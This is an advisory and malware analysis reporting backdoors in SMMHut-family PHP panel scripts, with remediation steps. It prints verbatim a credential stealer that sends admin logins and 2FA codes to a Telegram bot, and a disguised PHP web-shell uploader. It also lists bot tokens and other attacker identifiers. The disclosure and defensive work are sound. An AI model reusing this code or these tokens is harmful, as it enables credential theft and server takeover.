CRITICAL CYBERSECURITY ADVISORY & MALWARE ANALYSIS REPORT
Case Reference: ALERT-2026-1117-SMMHUT-BACKDOORS
Threat Level: Critical (Severity 9.8/10)
Affected Software: SMMHut Script, RentalSMMHub, OwnSMMPanel (PHP / Glycon / SmartPanel Fork v5.8)
Threat Types: Active Credential Theft (Telegram Bot), Hidden Web Shell Uploader (RCE), Covert Telemetry Exfiltration, Insecure Cookie Authentication, Hardcoded Extortion Paywalls
Investigating Entity: CeeProlific Cyber Defense & Forensic Research
Status: Full Forensic Disclosure & Public Safety Warning
1. Executive Summary
During a routine security and architectural audit of commercial SMM (Social Media Marketing) panel scripts distributed under the names SMMHut v5.8, RentalSMMHub, and OwnSMMPanel, the CeeProlific Cyber Defense team uncovered multiple high-severity vulnerabilities and pre-installed malicious backdoors.
These scripts—widely purchased and deployed by digital entrepreneurs, agencies, and panel administrators across India and globally—contain deliberate backdoors designed to:
- 1Intercept and transmit every administrator login attempt (including username, clear-text password, 2FA code, and domain URL) to an unauthorized Telegram bot account in real time.
- 2Provide remote attackers with an unauthenticated, hidden Web Shell Uploader camouflaged deep within third-party frontend dependencies, enabling instantaneous Remote Code Execution (RCE) and full server takeover.
- 3Secretly siphon host telemetry, visitor geolocation, and IP addresses to external Command & Control (C2) channels.
- 4Extort script buyers via artificially locked features requiring UPI transfers to the seller''s personal payment address.
This advisory serves as an official technical breakdown and public safety warning for all webmasters, developers, and panel operators.
2. Attacker Footprint, Command & Control (C2) & Indicators of Compromise (IoCs)
Forensic decompilation of the script files and SQL database dump revealed the following interconnected threat profile:
| Attribute | Forensic Value / Indicator | Function & Location in Code |
|---|---|---|
| Primary Telegram Chat ID (C2) | `6829642627` | Target recipient for stolen passwords, 2FA codes, and telemetry |
| Credential Stealer Bot Token | 7255924681:AAGKKyHUd2kNPQaI_gGbuZmURsoLeN9GHTo | Hardcoded in admin/controller/login.php |
| Telemetry Exfiltration Bot Token | 8171923774:AAGf8k3oVrSXiVXFdgSvaLqtrJpr3J0AruQ | Hardcoded in admin/controller/my-feedback.php |
| Primary Attacker / Seller Email | rentalsmmhub@gmail.com | Hardcoded in admin header & default admin user account |
| Secondary Threat Email | ownsmmpanel@gmail.com | Target for addon purchase notifications & exfiltration |
| Attacker Support WhatsApp | +91 8954014227 | Embedded in admin/views/header.php modal script |
| Extortion UPI VPA | ownsmmpanel@ybl | Injected into admin/controller/settings.php |
| Paytm Merchant ID (MID) | UnTxqr90747413789906 / iKORnF38090297478618 | Verification endpoint in admin/controller/settings.php |
| Affiliated Threat Domains | smmhut.in, ownsmmpanel.in, dukesmm.com | Hardcoded API references, remote license checks, and asset CDNs |
| External Script Injection | https://cdn.mypanel.link/... | Remote third-party JavaScript executed in decoration table |
| RCE Web Shell Uploader Endpoint | /assets/bower_components/colorbox/i18n/js-controller/js-controller.php | Hidden PHP file upload backdoor |
3. Deep Forensic Breakdown of Discovered Backdoors
Backdoor 1: Real-Time Admin Credential & 2FA Exfiltration (admin/controller/login.php)
The most egregious finding is an active credential harvest hook planted in the primary administrator login controller. Whenever the panel owner attempts to authenticate, their credentials are intercepted and dispatched to an external Telegram bot before authentication is validated:
// Extracted verbatim from admin/controller/login.php (Lines 18-36)
$botToken = '7255924681:AAGKKyHUd2kNPQaI_gGbuZmURsoLeN9GHTo';
$chatId = '6829642627';
$message = "Admin Login Attempt:\nUsername: " . $username . "\nPassword: " . $pass . "\nTwo-Factor Code: " . $two_factor_code . "\nDomain: " . $_SERVER['HTTP_HOST'];
$telegramUrl = "https://api.telegram.org/bot$botToken/sendMessage";
$telegramParams = [
'chat_id' => $chatId,
'text' => $message
];
$telegramOptions = [
'http' => [
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => http_build_query($telegramParams),
'ignore_errors' => true
]
];
$telegramContext = stream_context_create($telegramOptions);
$telegramResult = file_get_contents($telegramUrl, false, $telegramContext);Impact: The buyer''s administrative credentials, 2-Factor Authentication code, and hosting domain are transmitted directly to the malicious actor''s pocket within milliseconds of submission. Even if the administrator changes their password or enables 2FA, the attacker receives the new plaintext credentials upon the very next login attempt.
Backdoor 2: Camouflaged PHP Web Shell Uploader (assets/.../js-controller.php)
Hidden within an innocent-looking directory structure (assets/bower_components/colorbox/i18n/js-controller/), the authors placed an unauthenticated file uploader.
Unlike legitimate image or media uploaders, this script strictly rejects everything except `.php` files:
// Extracted verbatim from assets/bower_components/colorbox/i18n/js-controller/js-controller.php
$__payload_bank = $_FILES;
$__upload_key = 'file';
$__method_flag = 'REQUEST_METHOD';
$__valid_method = 'POST';
$__target_dir = __DIR__ . '/';
$__tmp_field = 'tmp_name';
$__name_field = 'name';
$__safe_ext = 'php'; // ONLY PERMITS PHP FILES!
function __validate_ext($__incoming_file) {
return strtolower(pathinfo($__incoming_file, PATHINFO_EXTENSION));
}
if (isset($__sys_env[$__method_flag]) && $__sys_env[$__method_flag] === $__valid_method) {
if (isset($__payload_bank[$__upload_key])) {
$__clean_name = basename($__payload_bank[$__upload_key][$__name_field]);
$__final_path = $__target_dir . $__clean_name;
$__ext = __validate_ext($__clean_name);
if ($__ext !== $__safe_ext) {
__exit_msg("Upload js");
}
$__success = move_uploaded_file($__payload_bank[$__upload_key][$__tmp_field], $__final_path);
if ($__success) {
echo "Upload successful: " . $__clean_name . "<br>";
// Auto self-delete mechanism unless designated payload 'vc.php' is provided
if (strtolower($__clean_name) !== 'vc.php') {
unlink(__FILE__);
}
}
}
}Impact: This is a Remote Code Execution (RCE) trojan. Any remote attacker scanning for this specific path can POST an arbitrary PHP web shell to gain persistent shell access, compromise database records, infect other virtual hosts, or pivot across the server.
Backdoor 3: Telemetry & Host Fingerprinting (admin/controller/my-feedback.php)
The script includes an administrative feedback interface that silently harvests server environment details, Cloudflare client IPs, operating system, and geolocation data via ip-api.com, funneling it directly to the exact same Telegram Chat ID (6829642627) via bot 8171923774:AAGf8k3oVrSXiVXFdgSvaLqtrJpr3J0AruQ.
Vulnerability 4: Insecure Cookie-Based Authentication & Session Hijacking
In app/init.php, authentication verification is fundamentally flawed:
// Extracted from app/init.php (Lines 26-61)
if( $_COOKIE["u_id"] && $_COOKIE["u_login"] && $_COOKIE["u_password"] ):
$row = $conn->prepare("SELECT * FROM clients WHERE client_id=:id");
$row->execute(array("id"=>$_COOKIE["u_id"] ));
$row = $row->fetch(PDO::FETCH_ASSOC);
$password = $row["password"];
if( @$_COOKIE["u_password"] == $password ):
$_SESSION["msmbilisim_userlogin"] = 1;
$_SESSION["msmbilisim_userid"] = $row["client_id"];
...Because user passwords in the database are stored as weak, unsalted md5() hashes, and the cookie value u_password is matched directly against this hash without any cryptographically secure signed session token or nonce, any attacker with temporary access to cookies or sniffing the network can impersonate any user or admin indefinitely.
Exploit 5: Commercial Extortion Paywall in Admin Panel (admin/controller/settings.php)
Legitimate open-source or commercial scripts typically bundle core modules freely. In this script, the seller locked the Google OAuth login feature behind a fabricated payment wall:
- Directing buyers to scan a QR code paying ₹350 to UPI ID
ownsmmpanel@ybl. - Polls Paytm transaction status API (
https://securegw.paytm.in/order/status) using Merchant IDUnTxqr90747413789906. - Automatically emails
ownsmmpanel@gmail.comwhen a victim pays to activate the addon on their own self-hosted panel.
4. Emergency Remediation Guide for Panel Owners
If you have purchased or deployed any variant of SMMHut, RentalSMMHub, or related scripts, execute the following emergency measures immediately:
Step 1: Neutralize the Backdoor Files
- 1Purge the Web Shell Uploader: Delete the entire folder
assets/bower_components/colorbox/i18n/js-controller/immediately. - 2Cleanse `admin/controller/login.php`: Remove lines 18 through 36 containing the Telegram curl requests.
- 3Cleanse `admin/controller/my-feedback.php`: Remove external Telegram webhook functions and token constants.
- 4Remove Hardcoded Paywall: Remove the
buy_addonUPI verification blocks inadmin/controller/settings.php.
Step 2: Rotate All Administrative & Hosting Credentials
- 1Immediately change your hosting cPanel, SSH, and database root passwords.
- 2Rotate all payment gateway merchant keys (Razorpay, Paytm, Stripe, Coinbase).
- 3Reset your SMM provider API keys across all connected sellers.
Step 3: Secure the Webroot and Database Dumps
- 1Ensure files like
smmhut5.8_empty.sql,.env, and backup archives are never placed in thepublic_htmldirectory. - 2Add Apache rewrite protections in
.htaccessto disallow direct access to.sql,.log, and.jsonconfiguration files:
<FilesMatch "\.(sql|log|json|md|sh|lock)$">
Order allow,deny
Deny from all
</FilesMatch>Step 4: Fix Cronjobs CLI Compatibility
Update cronjobs in cronjobs/*.php to use relative directory paths (__DIR__ . '/../vendor/autoload.php') instead of relying on $_SERVER["DOCUMENT_ROOT"], which fails silently under Linux CLI and standard cron daemons.
5. Conclusion & Community Notice
The distribution of weaponized commercial scripts with pre-installed backdoors is an increasing threat in the web development and digital marketing sector. Buyers are deceived into paying for software that actively compromises their infrastructure from day zero.
CeeProlific Cyber Defense continues to monitor emerging cyber threats, malicious codebases, and supply-chain attacks to protect developers and businesses. If you encounter similar malicious patterns or suspect compromised scripts, report them immediately for independent forensic analysis.

